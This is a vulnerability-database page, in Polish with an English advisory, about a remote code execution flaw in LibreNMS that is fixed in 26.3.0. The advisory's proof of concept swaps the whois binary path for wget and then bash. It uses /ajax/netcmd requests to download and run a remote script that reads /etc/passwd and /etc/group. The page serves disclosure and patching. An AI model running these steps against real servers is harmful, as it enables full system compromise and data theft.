Wysoka

LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write

  • Ujawniono: 26.03.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

bash
#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls
  1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost. <img width="593" height="481" alt="image" src="https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5" />

  2. Make sure the malicious script malicious.sh can be downloaded. <img width="516" height="100" alt="image" src="https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273" />

  3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations <img width="797" height="201" alt="image" src="https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576" />

  4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget). <img width="478" height="58" alt="image" src="https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6" />

  5. Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server. <img width="900" height="209" alt="image" src="https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0" />

  6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). <img width="751" height="56" alt="image" src="https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8" />

  7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. <img width="846" height="688" alt="image" src="https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe" />

Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer librenms/librenms >= 1.48, < 26.3.0 26.3.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-78
Platforma
Composer
Paczka
librenms/librenms
Ujawniono
26.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-pr3g-phhr-h8fh - CC BY 4.0

Historia podatności: librenms/librenms

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (106) w archiwum
Wszystkich wpisów
106
Pierwsza → ostatnia
10.2019 08.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 39
  • Średnia 56
  • Niska 6

Ujawnienia w latach

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Istotność:
  1. Wysoka · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write ten wpis
    Wysoka CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  3. Wysoka · 7.1 CVE-2020-36947 <= 1.46 brak poprawki
  4. Krytyczna · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  5. Wysoka · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. Wysoka · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. Wysoka · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. Wysoka · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. Wysoka · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Krytyczna · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. Wysoka CVE-2022-29712 < 22.4.0 22.4.0
  12. Krytyczna · 9.8 CVE-2019-10665 <= 1.47 brak poprawki
  13. Krytyczna · 9.8 CVE-2018-20434 = 1.46 brak poprawki
  14. Wysoka · 8.8 CVE-2018-20678 < 1.65 1.65
  15. Wysoka · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. Wysoka · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Krytyczna · 9.8 CVE-2021-44278 <= 21.11.0 brak poprawki
  18. Wysoka · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. Wysoka · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  20. Wysoka · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  21. Wysoka · 8.1 CVE-2019-12465 < 1.53 1.53
  22. Wysoka · 7.5 CVE-2019-12464 < 1.53 1.53
  23. Wysoka · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.